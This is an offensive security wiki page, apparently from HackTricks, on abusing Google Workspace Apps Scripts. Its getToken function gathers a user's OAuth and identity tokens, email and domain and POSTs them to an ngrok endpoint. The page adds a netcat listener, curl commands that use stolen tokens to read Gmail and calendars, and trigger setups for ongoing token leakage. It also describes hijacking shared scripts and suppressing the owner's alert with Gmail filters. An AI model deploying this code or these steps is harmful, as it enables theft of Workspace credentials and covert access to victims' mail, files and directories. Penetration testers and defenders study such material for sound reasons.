# GWS - App Scripts

{{#include ../../../banners/hacktricks-training.md}}

## App Scripts

App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).

### Create App Script

There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:

<details>

<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>

1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
2. Click **Extensions** > **Google Apps Script**.
3. In the script editor, click **Untitled project**.
4. Give your project a name and click **Rename**.

</details>

<details>

<summary>Create a standalone project</summary>

To create a standalone project from Apps Script:

1. Go to [`script.google.com`](https://script.google.com/).
2. Click add **New Project**.
3. In the script editor, click **Untitled project**.
4. Give your project a name and click **Rename**.

</details>

<details>

<summary>Create a standalone project from Google Drive</summary>

1. Open [Google Drive](https://drive.google.com/).
2. Click **New** > **More** > **Google Apps Script**.

</details>

<details>

<summary>Create a container-bound project from Google Forms</summary>

1. Open a form in Google Forms.
2. Click More more_vert > **Script editor**.
3. In the script editor, click **Untitled project**.
4. Give your project a name and click **Rename**.

</details>

<details>

<summary>Create a standalone project using the clasp command line tool</summary>

`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.

See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.

</details>

## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>

### Create Google Sheet with App Script

Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.

### Leak token

In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:

- **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
- **Gmail**: To access gmail data
- **Drive**: To access drive data
- **Google Sheets API**: So it works with the trigger

To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**

```javascript
function getToken() {
  var userEmail = Session.getActiveUser().getEmail()
  var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
  var oauthToken = ScriptApp.getOAuthToken()
  var identityToken = ScriptApp.getIdentityToken()

  // Data json
  data = {
    oauthToken: oauthToken,
    identityToken: identityToken,
    email: userEmail,
    domain: domain,
  }

  // Send data
  makePostRequest(data)

  // Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

  // To ask for AdminDirectory permissions
  var pageToken = ""
  page = AdminDirectory.Users.list({
    domain: domain, // Use the extracted domain
    orderBy: "givenName",
    maxResults: 100,
    pageToken: pageToken,
  })

  // To ask for gmail permissions
  var threads = GmailApp.getInboxThreads(0, 10)

  // To ask for drive permissions
  var files = DriveApp.getFiles()
}

function makePostRequest(data) {
  var url = "http://5.tcp.eu.ngrok.io:12027"

  var options = {
    method: "post",
    contentType: "application/json",
    payload: JSON.stringify(data),
  }

  try {
    UrlFetchApp.fetch(url, options)
  } catch (e) {
    Logger.log("Error making POST request: " + e.toString())
  }
}
```

To capture the request you can just run:

```bash
ngrok tcp 4444
nc -lv 4444 #macOS
```

Permissions requested to execute the App Script:

<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>

> [!WARNING]
> As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.

### Create Trigger

Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.

Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.

### Sharing

In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.

> [!TIP]
> The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.

### Abusing Shared With Me documents

> [!CAUTION]
> If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
>
> A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)

> [!TIP]
> If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.

### Copying instead of sharing

When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**

<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>

If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.

### Sharing as Web Application

Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:

<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>

Followed by the **typical OAuth prompt asking** for the needed permissions.

### Testing

You can test a gathered token to list emails with:

```bash
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
```

List calendar of the user:

```bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
     -H "Accept: application/json" \
     "https://www.googleapis.com/calendar/v3/users/me/calendarList"
```

## App Script as Persistence

One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**

It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:

Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:

<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>

> [!CAUTION]
> This will create a security alert email and a push message to your mobile alerting about this.

### Shared Document Unverified Prompt Bypass

Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.

> [!WARNING]
> This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
>
> This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.

> [!CAUTION]
> This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
> To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).

{{#include ../../../banners/hacktricks-training.md}}



